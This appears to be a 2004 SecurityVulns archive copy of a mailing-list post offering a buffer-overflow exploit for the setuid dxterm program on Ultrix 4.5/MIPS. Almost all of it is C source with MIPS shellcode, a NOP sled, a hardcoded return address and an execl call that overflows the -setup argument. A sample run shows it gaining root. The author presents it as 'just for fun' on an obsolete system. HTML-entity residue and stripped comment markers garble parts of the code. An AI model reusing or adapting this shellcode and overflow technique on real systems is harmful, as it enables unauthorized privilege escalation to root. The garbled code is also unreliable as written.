Exploit for Ultrix 4.5 dxterm

2004-12-22T00:00:00
ID SECURITYVULNS:DOC:7408
Type securityvulns
Reporter Securityvulns
Modified 2004-12-22T00:00:00

Description

Well,

I hadn't seen a buffer overflow exploit for ultrix on bugtraq, so I decided to make one. I don't think anyone is using ultrix seriously anymore, so this is just for fun ;).

-- cut here --

/* Ultrix 4.5/MIPS dxterm exploit by ztion in 2004 Greets to: Stok, sidez

It wasn't possible to use '/' in the shellcode. Probably dxterm only copies everything after the last slash, as it expects a path. Since everything is pretty much hardcoded, you will probably have to tweak it for versions other than 4.5

nora> ./ultrix_dxterm_4.5_exploit $ id uid=268(ztion) gid=15(users)euid=0(root) */

include <stdio.h>

define NOP 0x25f8e003

define RET 0x7fffbe90

char shellcode[] = { 0x69,0x6e,0x19,0x3c, / lui $t9, 0x6e69 / 0x2e,0x61,0x39,0x37, / ori $t9, $t9, 0x612e / 0x38,0x01,0xb6,0x23, / addi $s6, $sp, 312 / 0x01,0x01,0x39,0x23, / addi $t9, $t9, 0x0101 / 0xf0,0xfe,0xd9,0xae, / sw $t9, -272($s6) / 0x73,0x68,0x19,0x3c, / lui $t9, 0x6873 / 0x11,0x11,0x06,0x24, / li $a2, 0x1111 / 0x11,0x11,0xc6,0x38, / xori $a2, $a2, 0x1111 / 0x2e,0x2e,0x39,0x37, / ori $t9, $t9, 0x2e2e / 0xf0,0xfe,0xc4,0x26, / addiu $a0, $s6, -272 / 0x01,0x01,0x39,0x23, / addi $t9, $t9, 0x0101 / 0x3f,0x01,0x02,0x24, / li $v0, 319 / 0xfc,0xfe,0x42,0x20, / addi $v0, $v0, -260 / 0xf4,0xfe,0xd9,0xae, / sw $t9, -268($s6) / 0xe8,0xfe,0xc4,0xae, / sw $a0, -280($s6) / 0xf8,0xfe,0xc6,0xae, / sw $a2, -264($s6) / 0xec,0xfe,0xc6,0xae, / sw $a2, -276($s6) / 0xe8,0xfe,0xc5,0x26, / addiu $a1, $s6, -280 / 0xcc,0xff,0xff,0x01 / syscall /

};

int main(void) { char buf[256]; int i;

    memset &#40;buf, 2, 255&#41;;
    i = 0;
    while &#40;i &lt;= 8&#41; {
            &#40;&#40;int *&#41;&#40;buf+1&#41;&#41;[i] = NOP;
            i++;
    }

    memcpy &#40;buf+33, shellcode, sizeof&#40;shellcode&#41;&#41;;

    &#40;&#40;int *&#41;&#40;buf+3&#41;&#41;[29] = RET;
    /* 119 - 122 is the return address */
    buf[123] = &#39;&#92;0&#39;;

    execl &#40;&quot;/usr/bin/dxterm&quot;, &quot;dxterm&quot;, &quot;-display&quot;, &quot;localhost:0&quot;, &quot;-setup&quot;, buf, NULL&#41;;

}

-- /Kristoffer Brånemyr